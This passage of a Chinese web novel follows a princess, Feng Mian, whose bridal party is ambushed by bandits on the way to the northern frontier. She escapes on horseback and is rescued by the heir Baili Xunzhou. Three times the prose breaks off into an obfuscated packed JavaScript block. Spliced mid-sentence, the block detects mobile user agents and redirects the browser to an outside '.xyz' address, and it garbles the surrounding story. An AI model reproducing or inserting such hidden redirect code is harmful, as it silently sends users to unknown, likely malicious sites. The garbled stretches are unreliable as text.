雾柳又将封眠的鹤氅领子拢了拢,封眠一张白嫩的小脸几乎陷进领口绣着的兔绒里。她抬了抬下巴将嘴巴露出来,免得说话时吃进一嘴的兔毛。 “北疆的春季同别处不同,风沙大是再寻常不过的事。而且还有倒春寒,有言道‘北地四月雪深三尺’,咱们说不定还能再见一场雪。” 借着说话的功夫,她借着鹤氅的遮掩悄悄将手炉搁到了旁边。 当真是太热了。 “还会下雪啊!”流萤眼前一亮,接着又发愁地瞅封眠,“那郡主这身子……” 封眠无奈:“侍医都说了,我只是舟车劳顿,加上气候骤然变化才略感风寒。我的身子骨还没差到风一吹便倒的地步。你们莫要如此操心了。况且到六月入了夏,就暖和了。” “郡主真是半句也不提是谁贪嘴,在驿站偷摸点了冰吃?” 雾柳淡淡一句话招来流萤的附和:“就是就是,郡主对自己的身子一点数都没有,还不得奴婢们小心看着么!” 这话题辩上三天也是封眠落下风,她干脆直接转移话题:“还有多久到云中郡?” “百米外有个哨岗,过了之后便正式入了北疆地界,再行个四五日,便可到云中郡了。” 封眠听了雾柳的话,又听听马车外呜呜的风声,想了想道:“左右不急这一时,今日风这般大,让大家停下来歇歇片刻,生个火取取暖……” 话音未落,马车忽然停了。 封眠心头蓦地一跳,隐隐感觉有些不安。 一道马蹄声行到马车边,接着传来陆鸣竹温和的声音:“郡主莫慌,前方似乎有些异样,指挥使已经派人去查看了。” 他话音刚落,另一道马蹄声急急停在马车边。 鸾仪卫指挥使挤开陆鸣竹,压低了声音,急切道:“郡主,前头有流匪劫道,咱们得换条路走了。” 说罢他便要驱马离开,却听封眠清脆地一声“慢着!” 封眠一把拉开窗,探出头来严肃地盯着指挥使,沉声道:“究竟是什么情况?如实报来。” 指挥使只得汇报道:“流匪围了一个商队,正在对峙。” “既有商队遇难,怎能见死不救,一走了之?”陆鸣竹震惊得脱口而出。 指挥使冷冷瞥他一眼,道:“守护郡主的安危才是我等职责所在。” 陆鸣竹还想说什么,但张了张嘴,终究还是没有出声,只神色复杂地看了封眠一眼。皇命在身,于他们而言,似乎守护好郡主才是第一要事。 封眠却道:“陆大人说的不错。还请指挥使带人相助。” “郡主有所不知,此处之所以得名狼骨岭,是因此间流匪如狼,凶残狡猾,虽各自为战,但遇难必会守望相助。到时群狼撕咬,我等恐怕难保郡主无虞。”指挥使心下已有些不耐,但还是万分严肃地与封眠分说着,“流匪血性上头,可就顾忌不得郡主的头衔了!” “我等衣食住行皆民力所萃,既见百姓遇难,断没有不管的道理。”封眠坚持道,但也理解指挥使所思,继续说道,“我明白指挥使的用心,定会保全自身。舅舅自羽林卫调了一千人,又从金吾卫中拨了精兵一千,足够我们兵分两路。” 指挥使愕然:“郡主的意思是?” “弃辎重。指挥使领八百精兵救人,其余人护送我们绕路离开。前方哨岗集合。” 干脆俐落的一段话让陆鸣竹和指挥使都愣了愣。清平郡主平日里娇娇弱弱的,竟有如此果决的一面? 封眠还当他们是舍不得这些嫁妆,其实她也舍不得,毕竟是她好不容易四处薅来的财宝,日后还要靠着它们过日子,但是:“人命重于财宝,安全之后再带人回来取。莫要犹豫了。” 指挥使当即抱拳一礼:“下官领命!” 指挥使当即策马向后吩咐军令。陆鸣竹在原地呆了片刻,掉了掉马头与马车齐平,郑重道:“臣随侍郡主左右,定以性命相护!” 封眠冲他轻轻点了点头,心底的不安丝毫未减,右眼皮都轻轻跳了起来。她拍拍胸脯安慰自己:左眼跳财,右眼跳胡说八道! * 指挥使将识路的副使留下,带着其余众人,护着封眠的马车绕上另一条可通行狼骨岭的路。这条路知道的人不多,通行的人更少,因为它要更狭更陡一些,通行有难度。若不是暂时弃了辎重,他们也难以通行。 但有一条好处,就是连流匪也不乐意在这条路上劫道。 封眠一路都想将马车也弃了,却被左劝右劝,只能暂且作罢。然而方行几里,马车猛然急停。封眠险些顺着惯性跌出去,幸而流萤和雾柳都关注着她,第一时间扶住她。脚边的手炉歪倒下去,骨碌碌滚到帘幔边。 “怎么回事?”流萤正要掀了帘子出去看,封眠忙拉住她的袖口,摇了摇头,静静听外面的动静。 刀剑出鞘的声音格外明显。 鸾仪卫副使的声音低沉肃然:“大胆,什么人竟敢拦郡主仪驾!” “老子管你什么仪驾?到了老子的地盘,都得留下买命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036541|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱!”一道粗狂嘶哑的声音不屑道。 流萤吓得脸色煞白:“不是说这条路鲜少有流匪出没吗?” 确实蹊跷,此路陡峭,一不小心可能就摔下山崖没命了。流匪求财,可不舍命。 不过瞬息转念之间,外头的刀枪拼杀之声便响彻起来。 拉车的马儿惊慌地踏着蹄,马车左摇右晃起来。向来更为胆小的流萤自喉间溢出低低的惊叫声,泪珠不受控制地滚落,封眠一手牵着流萤,另一手握着雾柳,努力镇定地安慰两人:“别怕,鸾仪卫都是从禁军中擢选的精英,区区流匪……” 一道雪亮寒光闪过,毡布门帘自正中被划破一个口子。 火光与刀光交映,一双狠厉的眼自那道口子中向内窥探一瞬,跃出欣喜之色:“郡主在这儿!” 那人说着话便要往马车上爬,封眠来不及思考,一把抓起翻倒在脚边的暖炉砸了出去。 与此同时外面响起鸾仪卫的声音:“保护郡主!” 马车周围的撞击顿时激烈起来,不断有刀砍在华丽的车架之上。封眠一瞬恍悟:“他们不是胆大包天到连郡主仪驾都敢劫,他们就是冲着我来的……” “他们有备而来,蜂拥而上,鸾仪卫根本招架不住。但如果能将他们的兵力拆开,或许还有一搏的机会。” 雾柳拧眉:“郡主这是什么意思?” “我出去将他们引开。” 流萤大惊:“外头尽是匪贼,郡主不要命了?!” “我有自保的法子。”封眠摸了摸藏在腕间的袖箭,“你们忘了太子妃送来的东西了?” 说罢,她又自后腰拔出一柄小匕首,“还有这个。” 匕首除刀柄处嵌了一圈宝石外,通体素净,但拔出来便见寒光烁烁,刃口锋利。 这是四岁那年父亲送她的礼物。那是她第一次也是唯一一次与父亲的相处。父亲带她出宫玩了整整三日,直到他要再次出征的前夕,才依依不舍地送她回宫。 那时她哭闹着让父亲带她一起走,她也可以陪父亲保家卫国。 父亲失笑出声,俊朗的脸上露出混杂着欣慰与不舍的笑,然后他便送了她这柄小匕首,让她先学会保护好自己与身边的人,再说要陪他一起保家卫国的话。他还承诺,等她能用匕首在木头上雕出一朵完整漂亮的梨花,他就回来了。 可暑月殿的每一根廊柱都被她雕上梨花的时候,却收到了父亲再也回不来的消息。 封眠一声不吭,连太后都嘀咕她莫不是个冷心冷肺的,再扭头她就孤身一个人从宫里溜了出去,一口气跑出了二十里,要去找父亲,在齐山才被人找回来。 那一次出逃,封眠没有找到父亲,也失去了暑月殿上下二十余条性命。她才知道自己一步行差踏错,害的人不是她自己,而首先是身边照料她的那些人。 “我不会再让你们因我受伤了。”封眠握紧了匕首的握柄,安抚地捏了捏流萤的脸蛋,“等会儿我先出去……” 8. 第 8 章 夜色笼罩着狭窄的山路,流匪打扮的粗狂大汉们利用狭窄的地形,将鸾仪卫零星截断,分而对之,反而占了上风。 支援冲不上来,流匪们步步逼近马车。鸾仪卫副使额上的冷汗与喷溅在面上的鲜血混杂着滑落,心中懊恼地骂着脏话。本以为这趟是个轻省差事,随便走一遭回去便也算有了功绩,怎么偏有这不长眼的流匪缠上来,若郡主在此地有了差池,他们的脑袋…… “别让她跑了!追!” 鸾仪卫副使闻声回头,便见一道披着大红色鹤氅的身影骑在一匹马上,头也不回地往山上疾驰。狂风猎猎卷起鹤氅,如飞鸟火红的羽翼翻飞。 副使还没来得及反应过来那是谁,又一道身影跌跌撞撞地跑到他近前。他认出那是郡主身边那个叫流萤的侍女。 流萤来不及害怕满目的血迹和尸身,一步不敢歇地狂奔到指挥使面前,抖着嗓子吼:“郡主说她去引开一部分人,还请副指挥使速速带人追捕围剿!” 方才跑过去的是郡主?!副使的目光飞快在马车上扫了一圈,帘幕破洞,车辕折断,套马的靷绳已断,马不见了踪影,显然就是郡主骑走的那匹。 将鸾仪卫分截的人墙有所松动,后方的鸾仪卫终于冲了上来。副使虽然是想混功绩的,但多少也有些脑子,他瞬间便明白了封眠的意图,当即命一部分鸾仪卫反向围困住了大部分流匪,自己则带队追着封眠离开的方向行去。 离开前,他还听见流萤急切地丢下一句:“数百米外有个哨岗,雾柳已赶去报信了!” 副使简直都要忍不住佩服起这位郡主了,一路都只见她病歪歪娇滴滴地窝在马车上,危难之际,竟有如此胆魄。他一个大男人都慌了神,一时竟忘了安排人突围去哨岗报信,真该羞愧。 呼啸的狂风卷着金戈交接声与嘶鸣喊杀声,传入有流匪劫道的那条官道之上。 雪亮的长枪挑破最后一名流匪的咽喉,百里浔舟侧身避开飞溅的鲜血,才有空回首看向另一侧突然出现支援的鸾仪卫。 方才交战时他已观察过这些人的招式,均不像是上过战场之人,但又有军营训练的痕迹。手中的武器亦是京兵制式,想来应是从京城来的。 这个时间,从京城赶来的一队精兵,该不会是…… “多谢诸位相助。在下百里浔舟,不知诸位是?”百里浔舟问道。 鸾仪卫指挥使忙下马行礼:“下官陆德,特护送郡主仪仗。见过世子。” 听到了自己最不想听的答案,百里浔舟不甚高兴地抿了抿唇,干巴巴问道:“你在此处,郡主呢?” 指挥使自信答话:“狼骨岭另有一条小路,我等弃了辎重,郡主已由副指挥使护送,安然离开。” 既然人无事,那他就无需做些什么了。百里浔舟微微颔首,也懒得客套,勒马便要走。一个瑟瑟发抖的商队伙计扑通一跪拦住了马,涕泗横流道:“大人,您救救我家老爷吧,他方才……” “我知道。”百里浔舟急调马首,好悬没一马蹄踩到那莽撞伙计到身上。 方才战况激烈之时,几名流匪见不敌,中途绑了商队老爷并其他几名人质往山中去,估摸是想着将人扣住保命的同时索要赎金。这伙计忠仆护主,还牵挂着被掳走的老爷。 “你再不让开,你家老爷便真成白骨了。” 伙计忙连滚带爬地让开路,百里浔舟一声令下,山衣与疾羽营众人与他一同疾驰入山,却自四面八方散去。 方才那话他是故意吓唬人的,商队老爷被劫走的第一时间便有人追踪留痕,以便他们解决战局之后救人。 而这狼骨岭半数流匪的老巢,都已被他摸清布防。 一个月前,他在小河湾解决了阿尔纳部的小股劫掠,之后便被数次相似的小乱子牵着走。每次他带队赶到,对面总是打两下便跑,看起来就像是故意引他来此一般。 他察觉不对,暗中派人探查,发现有阿尔纳部中人趁着他被牵制之际,混进了北疆,行往狼骨岭,与岭上流匪有所勾结。 他按兵不动,几日下来摸清了与阿尔纳部有牵扯的流匪老巢,暗中调兵,便等着今日一锅端。 * 月亮在云中跳跃,偶尔洒下的清光映出在林间急速移动的身影。 封眠纵马疾行,耳边尽是呼啸的风声。她觉得胸腔都被冷风灌透了,带着冰凉的疼意。 她单手解开披风,挂在交错的枝丫上,做出被树枝勾住的假象,旋即向相反的方向策马。 用衣物制造误导性的假象,是封眠五岁那年跟人在山里逃命时学会的。跑不过的时候,就得想办法把人甩开,就算追兵只被迷惑了一时,也可以拖延被追上的时间。 山林中拥有无数天然遮蔽物,只要封眠能够一直利用周围的环境制造各种假象迷惑那些流匪,撑到副使带人将他们都解决掉,或者雾柳从哨岗带来援兵,就没事了…… 忽然马儿一声嘶鸣,人立而起,封眠惊慌勒紧缰绳调转马头。隐在云中的月恰好自边沿露出一线清湛月光来,微微照亮面前被黑暗藏没的一道狭长沟谷。 前路不通,封眠当即调转马头准备换个方向。然而身后本被披风迷惑追错方向的流匪听见了马的嘶鸣声,怒气冲冲地追上来。 封眠头也不回地将射出两枚袖箭,略拖延了两息时间。 仍然在逐渐接近的杂沓而有力的马蹄声,仿佛敲在封眠疯狂跳动的心脏上。 她的骑术是在宫中骑射课上学的,嘉裕帝不喜欢她多学这些,一是不够淑女文雅,二是怕她受伤,遂只让她学了些皮毛,锻炼身体。 她只能说是会骑马,却没有多精通,在这种急迫的情况下,她几乎全是凭着本能策马,两只冻得失去知觉的手用力扯着缰绳,只求不被摔下马去…… 月亮再次隐入云中,骤然失去一线光亮的双眼前陷入更深的黑暗。身后迫近的马蹄声和心脏狂乱的跳动声,以及急促的喘息声占据了封眠的耳膜。 这时的箭矢破空的锐明声忽然响起,一道雪亮的寒光撕破黑暗。 一枚劲急的利箭袭向封眠的方向。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036542|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >惨叫声响起,惊起夜眠的飞鸟。利箭越过封眠射中了她身后某个追到近前的流匪,旋即就是一阵人仰马翻。 “走。”冷厉的声音仿佛被冰水浸了千年的玄铁。身形挺拔的少年骑着马闯入封眠的视线,飒沓如流星般自封眠身侧掠过。兜帽下隐隐露出锋锐的眉眼,鹰隼般盯着流匪的方向,拔箭搭弦,看也未看封眠一眼。 援兵来了?!封眠心中刚升起一丝喜气,就听见一声哀鸣,身下的马被流匪的箭射穿了腿,吃痛地扬起前蹄疯踩乱甩。 这本就是一只普通的马,封眠亦不是它熟悉的主人,在这种情况下便不管不顾地发了疯,径直要将封眠甩下马去。 封眠熟练地用双手护住头部,虾米一样将身体蜷缩起来,护住柔软的腹部。 上骑射课时,她曾被昭宁惊了马,从御医口中学会了摔下马的时候,要先保护身上最易受伤的部位,免得摔到或被马蹄践踏到。 冷硬泥土的气息扑面而来的瞬间,封眠感觉后腰处一紧。一阵天旋地转之后,她又重新坐回了马背上,身前贴着一个热乎乎的身体。 封眠吓得睁开眼,入目是一片黑漆漆的背影,接着便听到少年清冽的声音:“坐好。” 原来是被“援军”救了,封眠松了口气,伸手牢牢揪住身前人腰间的衣袍,小小一团缩在他身后。 百里浔舟手中长枪一挑三,把包围上来的几名流匪解决了。 他心下有些纳闷,正追着携人质逃窜的流匪呢,从哪里又冒出来一堆没见过的流匪,还追着个姑娘家喊打喊杀? 身后数名疾羽营士兵冲了上来,追着封眠而来的流匪见状不对,仓皇回撤。百里浔舟几人尚有要事,并未追过去。但回撤的流匪恰好撞见了追过来的鸾仪卫众人,副使带人解决了流匪,却没见封眠的身影,顿时心凉半截。 莫不会当真如此不巧,出了什么意外…… 被“意外”一并带走的封眠也察觉不对,默默握紧了后腰的匕首。 这些人看起来对狼骨岭地形熟悉,似乎有目的地直奔某处…… 忐忑之际,马儿忽停,众人合围,与前方成对峙之势。 封眠悄悄自马背后探头,便见前方一行人马被堵在了峭壁绝路之下。当先一脸上带疤的人一把抓过一个满身绫罗的胖男人挡在身前,横刀置于他的脖颈处。 疤脸男人凶神恶煞地威胁道:“百里世子,若你放我等离开,这几个人便能活着回去,否则……” 横在脖颈上的刀微微用力,一点血色染红了刀刃。 封眠已被疤脸男人的话惹懵了,他方才叫这人什么?百里世子?北疆就一位百里世子,那便是定北王世子百里浔舟。 这人竟然是定北王世子? 封眠呆呆地仰首上下扫了眼身前端坐于马背上的人,高束的马尾飒爽,微微侧首露出的下颌与侧颜俊朗无双,脖颈肩颈的线条利落有力,腰背挺拔,身型瘦削却不瘦弱,分明是清爽漂亮的少年人。 到底是如何被传成貌若钟馗,青面獠牙的野蛮人的? 9. 第 9 章 夜色凉如水,几盏火把闪着幽微的光,照亮胖商人眼中的祈求,和流匪眼底的猖狂。 静谧的空气中忽然响起一道冷哼,百里浔舟冰冷的目光逐一扫过对面的流匪和人质,说出一句令人如赘冰窖的话:“你当本世子在乎他们的性命?牺牲几个百姓将你们斩杀于此,也是军功一件。” …… 话音中浓浓的血腥杀意让封眠打了个抖,上半身默默向后靠了靠,拉开与身前人的距离。 他怎么能如此漫不经心又如此自然地将几条鲜活无辜的性命弃之不顾? 看来他被传言描述成那副鬼样子,当真是半点不冤啊! 对面的流匪也惊呆了,瞠目结舌:“你疯了!这是你大雍的百姓!” 被风拂动的兜帽下,明灭不定地火光勾勒出百里浔舟锋利的眉眼,眼底竟压着一抹狠辣的笑意。 这些人果然是阿尔纳部的探子。 他缓缓搭弓引箭,微眯起眼,矢锋瞄准胖商人的眉心:“能以己命攘外夷,他们应当感到荣幸。” 话音未落,他便扬手松弦。箭簇破空之声方响,疾羽营众人便如埋伏已久的猎豹般瞬间扑向了匪众。 与此同时,封眠眼前一暗,一道披风兜头照下,遮住了她的视线。下一瞬她被一人拦腰抱起,凌空扔到了另一个马背之上。 接住她的人轻而疾地说道:“我送你离开。” 马儿迅速地载着封眠离开被浓郁血腥染就的冷锈空气。颠簸中,透过飘扬的披风下摆,她仍能看见迷蒙夜色下飞溅的鲜血和倒地的尸身。 哀嚎惨叫与兵戈铮铮声像一片迅速拉远的梦境一般,很快便被甩在了身后。 一切只发生在电光火石之间,封眠直到耳边只余骏马疾驰声音时,才缓缓回过神来,声音哑涩地向身前的人道谢:“多谢你……” 细哑的声音风一吹便散了,听力绝佳的轻衣却听见了,朗声回道:“不必,我只是按世子吩咐做事。你要去何处?” “可否将我送到最近的哨岗?” “知道了。”轻衣旁的一概不多问,只沉默赶路。 疾羽营配的皆是上好战马,很快便见前方明亮如星的哨岗信号灯。轻衣在距哨岗百米处勒停马,“我便送你到此处了。” “多谢。”封眠自己爬下马,刚站定就险些被马尾糊了脸。 轻衣片刻不停地调转马头疾驰而去,背影透着急切。封眠看着他转瞬消隐在夜色中的身影愣了愣,这些人当真是来去如风…… “郡主!”身后传来流萤惊喜的声音,封眠刚刚转过身便被抱了个满怀。 流萤呜呜咽咽地又哭又笑:“郡主你快吓死奴婢们了!” 天晓得当所有人在哨岗聚齐后,却发现郡主不见了的瞬间是如何的惊慌!众人都快急疯了,鸾仪卫迅速四散去寻人,只留了几人守着流萤和雾柳在哨岗内等消息。 谢天谢地,郡主全须全尾地回来了! “外面冷,快先进来再哭。”雾柳上前将流萤和封眠一起拉进哨岗内为她准备的房间里,隔着衣裳便摸到一手透凉,顿时也红了眼眶,急忙去端姜汤。 此间哨岗不单单只有警戒效用,在高高的瞭望台后粗略地修了几大间院落,也充作一盏供往来休整。 屋内燃着炭火,暖意袭身,激得封眠打了个寒战。 “郡主快暖暖!”流萤心疼坏了,忙不迭从案几上捧过两个烧得正旺的铜手炉,小心翼翼地摆到封眠面前,将她的十指拢在炉边烘着,一面絮絮叨叨的:“马车也丢在路上了,什么东西也没带来。这铜手炉是从哨岗的卫兵处借来的,一直烧着等郡主回来。这手炉烫人得紧,郡主莫碰着了,先烘一烘,一点点暖起来再说。” 刚经历过生死一刻的封眠听着流萤的喋喋不休,只觉亲切温暖。 摸着封眠冰凉的手,流萤急得眼泪掉下来:“可莫要生冻疮啊……” 流萤手再往上,又触到封眠冰冰的手臂,忙起身翻出被副使带回来的那件大红羽纱面兔绒鹤氅,手指轻颤着用鹤氅将封眠裹了个严实,“奴婢们翘首盼了半晌,副使只带回一件鹤氅,可将人吓死了!” 想起当时的画面,流萤便一阵后怕。 暖意如春溪般缓缓淌过,封眠苍白的脸颊终于浮起一丝血色。她手上冻过的皮肤骤然一暖,有些麻痒,她想伸手抓挠,又怕让流萤更加担心,指尖蜷了蜷,忍住了。 “快快喝下暖暖身子。”雾柳端着一碗姜汤撞门进来,小碎步快快递到封眠面前。 粗陶碗里浮着两片姜,封眠低头啜饮,温度恰好能入口,她便一口气喝干了,五脏六腑都暖了起来。 封眠这才感觉自己一直飘悠悠的魂魄在身体里稳稳停驻,神经松懈下来。 “好啦,我暖和多了。我没事的,你们两个就别苦着一张脸了。”封眠搁下碗,不忘安慰两人。雾柳忽地抓住她的手,只见原本白嫩的手背如今通红一片。 “哪里没事,郡主这都冻伤了。”雾柳从怀里拿出一个白瓷小瓶,里面装着碧青色的冻伤膏,“幸好奴婢早便找侍医备了冻伤膏。” 雾柳蘸着膏药,细细地涂满封眠的手背,再翻过来看手心,便看见数道被缰绳磨出的伤痕。 流萤跟着倒吸了口凉气,哒哒哒往门外跑:“这侍医怎的还没来!” 流萤跑去抓侍医,雾柳叹了口气,又拿巾帕沾了热水替封眠细细擦着脸上蹭的灰。 几乎在山里头滚了一圈,封眠周身形容已万分狼狈。雾柳一点点替她摘下发髻间落的细碎枯枝草叶,语气克制地淡淡的:“待侍医给郡主请完脉,奴婢们再烧水给郡主洗漱。” 封眠观她神色就知道她在暗暗生气呢,最初的担忧平复之后,便要开始秋后算账了。封眠急忙转移话题:“我当真没事的。对了,我回来的消息可通知指挥使他们了?夜深了,这深山之中处处危机,别再出了什么什么事。” “郡主也晓得处处皆是危机,怎么敢丢下一句话就兀自跑了?”雾柳绷着脸,她几乎从不动气,但郡主此番委实太过份了。先斩后奏,根本不给她与流萤反驳商量的机会,骑上马便走,逼着她和流萤不得不按计划行事。 她一路片刻不敢停地跑到哨岗,被冷风灌得几乎失去知觉。郡主一个人在深山里,又该有多艰难? 封眠乖乖认了错,正要哄雾柳,流萤拽着侍医闯了进来,身后呼啦啦跟进来指挥使、副使和陆鸣竹。 侍医被流萤摁到桌边给封眠把脉,其余人一进来便跪下请罪:“臣等护卫不利,请郡主责罚!” 封眠摆摆手让他们起身。此事怪不得他们,方才她冷静下来想了想,第二波流匪是冲着她来,看来已经预料到她会改走那条狭路。那么第一波劫商队到的流匪,很有可能与第二波流匪有所勾结,故意调虎离山。 背后之人或许很熟悉她的性格,知道她会做何选择。可是为什么要对她下手呢? 这时指挥使汇报道:“郡主殿下,下官在剿匪时遇到了定北王世子,或许明日可以请他帮忙收拢郡主的仪驾?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036543|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>封眠犹豫了片刻,还是没有将自己被百里浔舟所救的事说出去。她可是亲眼目睹了百里浔舟为了军功不顾无辜百姓的性命,若他因此便心生龃龉,日后怕是不好行事。 于是封眠便只点点头,示意指挥使自己去办。 这一刹她忽然灵光一闪,想起那劫持人质的流匪说“这是你们大雍的百姓。”,而百里浔舟的回应中说道“以己命攘外夷”,这些流匪中很可能混入了外族蛮夷。 外族蛮夷最痛恨的便是定北王一脉,巴不得除之而后快。而如果出嫁的郡主在北疆的地界出事,定北王定然难逃其咎。这或许就是他们冲着她来的缘由。 而其中说不定另有大雍人与他们勾结,故意陷害定北王。 当然,这一切只是推断。封眠连定北王的面都没见过,这世子先是救了她,又不顾百姓性命的性子也是成谜,一切还要徐徐图之。 “郡主身体如何?”陆鸣竹出声询问侍医,拉回了封眠的思绪。封眠这才注意到陆鸣竹的脑袋快被绷带缠得密不透风了,吓了一跳:“陆大人这是?” 陆鸣竹不好意思地低了低头,副使又同情又好笑地看他一眼,说道:“流匪袭来时,陆大人的马被流矢射中了腿,又将陆大人掀翻在地,陆大人一头磕在了石头上,当场昏迷。这战局中马蹄又不长眼……就……” 陆大人当真是倒霉啊…… 封眠听着便疼:“陆大人快些去休息吧,我这里无事的。” 陆鸣竹羞愧:“未能保护郡主,下官实在惭愧。” 他刚醒时听闻郡主孤身一人破局,险些又要晕过去,堂堂七尺男儿,竟不如一弱女子有用。真是羞煞人也。 “人各有所能,陆大人不必自恼。今日皆辛苦了,几位大人先去休息吧,此处有侍医在,无需操心。” 封眠示意流萤将人送出去,侍医也起身表示要去煎药。 “郡主风寒袭表,此刻无事,实属勉强支撑。待就寝后,营卫失调,恐将发热。臣即刻去煎药,郡主用了再歇息。”说罢,他又叮嘱雾柳:“今夜必须好生守着郡主。若烧起来了,立即来唤我。” 雾柳当即追问:“那郡主可否先沐浴?” 侍医略一思忖:“药浴也可,务必保证浴间温度和暖。你随我来取药浴的方子。” “是。郡主,你先在屋内歇着,等奴婢回来。”雾柳跟着侍医一同离开。 屋内乍然安静下来,封眠疲惫地吐了口气,缓缓趴在桌上,放空神思。定北王世子和流匪两件事,想得她脑袋都痛了。 另一边,百里浔舟鸣金收兵,山衣兴冲冲地捧着一包袱珍宝跑到他面前。 “世子!发财啦!狼骨岭这些流匪深居苟活,当真没少藏宝贝!这下您可以赎身了,再不用陪那小侯爷了!” 百里浔舟嫌弃地看他一眼:“会不会用词?” 山衣捂嘴:“属下绝对没有影射世子的意思!” 轻衣走过来,铁面无私地没收他手中捧着的珍宝:“要入账。” 山衣气鼓鼓白他一眼。 “对了,你送回去的那姑娘是什么人?”百里浔舟这才想起来那个莫名其妙出现在狼骨岭的少女。 “不知,属下没问。”剿灭匪窝必然有赃物收缴,他只惦记着赶回来清帐,对旁的毫不关心。 当时天色昏暗,百里浔舟并未看清少女的面容,只觉得她挣扎求生的劲头格外有生命力,莫名有些在意。 罢了,估计是哪家路过的商队的小姐。只要人平安送回便好。 10. 第 10 章 饶是泡了药浴,还喝了药,封眠半夜还是烧起来了,直烧到天边透白才略略降了降温。 人醒着,却难受得要死。尤其雾柳还不肯让她将药一口闷,无论封眠如何喊苦,她都只一勺一勺地喂着,并温和又坚定地表示:“苦些才好,下次郡主再以身犯险之前,就该掂量掂量了。” 封眠无言以对,只能苦巴巴地受着。她一面痛苦一面想,术士说的话果然是假的,她刚见过那位百里世子,便烧得天昏地暗。他哪里旺她,分明是克她才对。 封眠迁怒得理直气壮又毫无道理,实在是被雾柳这一口一口的苦药折磨坏了,她还不许她吃蜜饯! 这厢封眠于“病魔”和雾柳苦苦作战,那厢指挥使已摸上了百里浔舟的门。 昨夜清点完收缴的赃物,百里浔舟也带队在哨岗歇了歇脚,与封眠一行人隔了一个跨院,井水不犯河水。 百里浔舟刚出房门,便被早就悄悄注意他动向的指挥使找上了门,请他帮忙收回弃置在狼骨岭的郡主婚仪。 事关带着圣意千里迢迢赶来的郡主,又担心被母亲知道了生气,百里浔舟纵使不大乐意,也不好把求上门来的鸾仪卫打出去,只能派人去帮忙。 指挥使用尽毕生所学跟百里浔舟套近乎,想跟着他一道回云中郡。他真是怕了北疆了,他这颗在盛京养尊处优惯了的心脏,可真是承受不起再丢一次郡主的惊吓了。 当然他没有跟百里浔舟提起“郡主丢了”这回事。就算郡主最后平安回来了,也仍然是他们办事不力,自然越少人知道越好。 况且他还记得自己当着百里浔舟的面信誓旦旦地说“郡主已安然离开”,总不能打自己的脸。 百里浔舟没搭理指挥使的暗示明示,将人打发走后,便依礼节前去拜见郡主。 “病了?”百里浔舟挑眉,十分讶异。 这位郡主不是一路平安地到了哨岗下榻,怎就病了? 雾柳歉意地福了福身:“流匪劫道,郡主受了惊吓。路上又吹了冷风,昨夜便烧起来了。实在是不便见客,世子爷先请回吧,待……” 话还没说完,面前气质冷冽的少年将军丢下句“请郡主好生休养”,便利落地转身就走。雾柳呆了呆,从远去的背影翻起的袍角弧度便可窥见其人心绪不佳,显是生气了。 “这世子爷好生没礼貌。” 封眠下榻的客房内,流萤听了雾柳的回话,不满地嘀咕起来:“郡主可还病着呢,他生的哪门子气啊?连话都不听完就走了。” 走了也好,封眠现在还不想见他。光听见他的声音,她就想起昨夜流匪面前,他狠辣果决的命令。一时真不知要用什么表情面对他。 流萤仍在不满地絮叨着:“也不多关心两句,好歹咱们郡主也是他未过门的妻子呢!” “就算是咱世子爷名义上未过门的妻子,也不能给世子爷吃闭门羹啊。”山衣快步跟上百里浔舟,看他脸色不悦,替他打抱不平。“派个丫鬟打发咱们是什么意思?” “怎么,你还想让堂堂郡主撑着病体招待你?”百里浔舟睨他一眼。 山衣其实不大信郡主真的病了,“估摸着这郡主连流匪的面都没见过,就吓着了?盛京贵女都这么娇气?而且我方才也没闻见药味啊……” 百里浔舟气就在此处,没病装病地晾着他,真当他是个软柿子? 他嗤笑一声:“盛京中人皆傲慢,更何况是生养在宫中的郡主。” 客房内,雾柳将四敞的窗户都关上,一面提醒流萤:“药味既已散尽,便尽快将窗户关上,吹久了风不好。” 封眠打小吃药,虽然习惯了一口闷药的苦,但仍是最讨厌药味,是以每次用完药都要开窗散味,再燃熏香,直到屋内一点药味都闻不到。 “是我疏忽了。”流萤忙跟过去帮忙,透过敞开的窗看见外头的鸾仪卫时想起什么,问道:“对了郡主,指挥使今早走时,来问过奴婢您的身子如何了。他好像想跟着世子一道走呢。” “指挥使想得不错。难得遇见了,自然还是与世子同行最为便宜。” 该借势时便得借势,封眠也着实不想再遭遇昨夜那般凶险的事了。 另一边山衣也问起指挥使提了一早上的同行之邀,百里浔舟更烦了:“待我们的人回来便立刻上路,莫让他们缠上了。” 哨岗后院处与封眠下榻的院落一个在最后,一个在最前,隔得相当远。 待郡主婚仪尽数归拢后,百里浔舟带着迅速集结的疾羽营悄无声息地出了后院,正要急行军,忽然看见郡主仪驾静静等在前方。 看样子完全是在守株待兔。 